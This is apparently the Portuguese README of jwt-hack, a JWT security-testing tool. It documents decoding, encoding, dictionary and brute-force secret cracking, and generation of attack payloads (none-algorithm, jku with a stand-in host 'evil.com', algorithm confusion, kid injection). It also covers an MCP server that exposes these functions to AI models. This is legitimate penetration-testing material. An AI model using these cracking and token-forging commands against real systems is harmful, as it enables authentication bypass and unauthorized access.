
Kit de Ferramentas para Hack de JSON Web Tokens
Kit de Ferramentas para Hackear JSON Web Tokens
Uma ferramenta de alto desempenho para testar, analisar e atacar JSON Web Tokens.
cargo install jwt-hack
brew install jwt-hack
sudo snap install jwt-hack
git clone https://github.com/hahwul/jwt-hack
cd jwt-hack
cargo install --path .
docker pull ghcr.io/hahwul/jwt-hack:latest
docker pull hahwul/jwt-hack:v2.6.0
Você pode decodificar JWTs regulares e comprimidos com DEFLATE. A ferramenta detectará e descomprimirá automaticamente tokens comprimidos.
jwt-hack decode eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.CHANGED
jwt-hack decode COMPRESSED_JWT_TOKEN
Decodifique tokens JWE (JSON Web Encryption) para analisar sua estrutura. A ferramenta detecta automaticamente o formato JWE (5 partes) e exibe os detalhes de criptografia.
# Decodificar estrutura do token JWE
jwt-hack decode eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..ZHVtbXlfaXZfMTIzNDU2.eyJ0ZXN0IjoiandlIn0.ZHVtbXlfdGFn
# Exibe cabeçalho JWE, chave criptografada, IV, texto cifrado e tag de autenticação
jwt-hack encode '{"sub":"1234"}' --secret=your-secret
Você pode usar a opção --compress para aplicar compressão DEFLATE ao payload do JWT.
jwt-hack encode '{"sub":"1234"}' --secret=your-secret --compress
# Com Chave Privada
ssh-keygen -t rsa -b 4096 -E SHA256 -m PEM -P "" -f RS256.key
jwt-hack encode '{"a":"z"}' --private-key RS256.key --algorithm=RS256
Crie tokens JWE (JSON Web Encryption) para testar cenários de JWT criptografado.
# Codificação JWE básica
jwt-hack encode '{"sub":"1234", "data":"encrypted"}' --jwe --secret=your-secret
# Tokens JWE são criptografados e só podem ser decodificados com a chave correta
jwt-hack encode '{"sensitive":"data"}' --jwe
Verifica se a assinatura de um JWT é válida usando o segredo ou a chave fornecida.
# Com Segredo (algoritmos HMAC como HS256, HS384, HS512)
jwt-hack verify YOUR_JWT_TOKEN_HERE --secret=your-256-bit-secret
# Com Chave Privada (para algoritmos assimétricos como RS256, ES256, EdDSA)
jwt-hack verify YOUR_JWT_TOKEN_HERE --private-key path/to/your/RS256_private.key
Ataques de dicionário e força bruta também suportam JWTs comprimidos com DEFLATE.
# Ataque de dicionário
jwt-hack crack -w wordlist.txt JWT_TOKEN
jwt-hack crack -w wordlist.txt COMPRESSED_JWT_TOKEN
# Ataque de força bruta
jwt-hack crack -m brute JWT_TOKEN --max=4
jwt-hack crack -m brute COMPRESSED_JWT_TOKEN --max=4
jwt-hack payload JWT_TOKEN --jwk-attack evil.com --jwk-trust trusted.com
Escaneie automaticamente tokens JWT em busca de problemas de segurança e vulnerabilidades comuns.
# Escaneamento completo incluindo detecção de segredos fracos e geração de payloads
jwt-hack scan JWT_TOKEN
# Pular quebra de segredos para resultados mais rápidos
jwt-hack scan JWT_TOKEN --skip-crack
# Pular geração de payloads
jwt-hack scan JWT_TOKEN --skip-payloads
# Usar wordlist personalizada para detecção de segredos fracos
jwt-hack scan JWT_TOKEN -w custom_wordlist.txt
# Limitar tentativas de teste de segredos
jwt-hack scan JWT_TOKEN --max-crack-attempts 50
O comando de escaneamento verifica:
Inicie uma API REST local para automação e integrações. Para exigir autenticação, use --api-key e inclua X-API-KEY nas requisições.
# Iniciar em localhost:3000 com proteção por chave de API
jwt-hack server --api-key your-api-key
# Exemplo de requisição (deve incluir X-API-KEY quando --api-key estiver definido)
curl -s http://127.0.0.1:3000/health -H 'X-API-KEY: your-api-key'
O jwt-hack pode ser executado como um servidor MCP, permitindo que modelos de IA interajam com funcionalidades de JWT através de um protocolo padronizado.
# Iniciar servidor MCP (comunica via stdio)
jwt-hack mcp
O servidor MCP expõe as seguintes ferramentas:
O servidor MCP é projetado para ser usado por modelos de IA e clientes MCP. Cada ferramenta aceita parâmetros JSON e retorna respostas estruturadas.
Ferramenta Decode:
{
"name": "decode",
"arguments": {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}
}
Ferramenta Encode:
{
"name": "encode",
"arguments": {
"json": "{\"sub\":\"1234\",\"name\":\"test\"}",
"secret": "mysecret",
"algorithm": "HS256"
}
}
Você pode conectar o servidor MCP do jwt-hack a clientes populares habilitados para MCP. Certifique-se de que o binário jwt-hack esteja no seu sistema e acessível pelo cliente.
VSCode
{
"servers": {
"jwt-hack": {
"type": "stdio",
"command": "jwt-hack",
"args": [
"mcp"
]
}
},
"inputs": []
}
Claude Desktop
{
"mcpServers": {
"jwt-hack": {
"command": "jwt-hack",
"args": ["mcp"],
"env": {}
}
}
}
| Algoritmo | Descrição |
|---|---|
| A128GCM | AES-GCM usando chave de 128 bits |
| A256GCM | AES-GCM usando chave de 256 bits |
| Algoritmo | Descrição |
|---|---|
| dir | Uso direto de chave simétrica compartilhada |
Suporte à Compressão DEFLATE O kit de ferramentas
jwt-hacksuporta compressão DEFLATE para JWTs.
- Use a opção
--compresscomencodepara gerar JWTs comprimidos.- Os modos
decodeecrackdetectam e lidam automaticamente com JWTs comprimidos.
Urx é um projeto de código aberto e foi feito com ❤️ se você quiser contribuir com este projeto, por favor veja CONTRIBUTING.md e faça um Pull-Request com seu conteúdo legal.
| Modo | Descrição | Suporte |
|---|
| Encode | Codificador JWT/JWE | Baseado em segredo / Baseado em chave / Algoritmo / Cabeçalho personalizado / Compressão DEFLATE / JWE |
| Decode | Decodificador JWT/JWE | Algoritmo, Verificação de Emissão, Compressão DEFLATE, Estrutura JWE |
| Verify | Verificador JWT | Baseado em segredo / Baseado em chave (para algoritmos assimétricos) |
| Crack | Quebrador de Segredos | Ataque de dicionário / Força bruta / Compressão DEFLATE |
| Payload | Gerador de Payloads de Ataque JWT | none / jku&x5u / alg_confusion (assinado via --public-key) / injeção de kid & claim / adulteração de claims / maleabilidade de assinatura / sondas JWE / x5c / cty |
| Scan | Scanner de Vulnerabilidades | Verificações de segurança automatizadas para vulnerabilidades comuns de JWT |
| Server | Servidor de API | Executar modo Servidor de API (http://localhost:3000) |
| MCP | Servidor de Protocolo de Contexto de Modelo | Integração com modelos de IA via protocolo padronizado |
| Ferramenta | Descrição | Parâmetros |
|---|
decode | Decodificar tokens JWT | token (string) |
encode | Codificar JSON para JWT | json (string), secret (opcional), algorithm (padrão: HS256), no_signature (booleano) |
verify | Verificar assinaturas JWT | token (string), secret (opcional), validate_exp (booleano) |
crack | Quebrar tokens JWT | token (string), mode (dict/brute), chars (string), max (número) |
payload | Gerar payloads de ataque | token (string), target (string), jwk_attack (opcional), jwk_protocol (padrão: https), public_key (PEM/caminho opcional para alg-confusion assinado) |
| Algoritmo | Descrição | Tipo |
|---|
| HS256 | HMAC usando SHA-256 | Simétrico |
| HS384 | HMAC usando SHA-384 | Simétrico |
| HS512 | HMAC usando SHA-512 | Simétrico |
| RS256 | RSASSA-PKCS1-v1_5 usando SHA-256 | Assimétrico |
| RS384 | RSASSA-PKCS1-v1_5 usando SHA-384 | Assimétrico |
| RS512 | RSASSA-PKCS1-v1_5 usando SHA-512 | Assimétrico |
| ES256 | ECDSA usando P-256 e SHA-256 | Assimétrico |
| ES384 | ECDSA usando P-384 e SHA-384 | Assimétrico |
| PS256 | RSASSA-PSS usando SHA-256 | Assimétrico |
| PS384 | RSASSA-PSS usando SHA-384 | Assimétrico |
| PS512 | RSASSA-PSS usando SHA-512 | Assimétrico |
| EdDSA | Algoritmo de Assinatura Digital de Curva de Edwards | Assimétrico |
| none | Sem assinatura digital | - |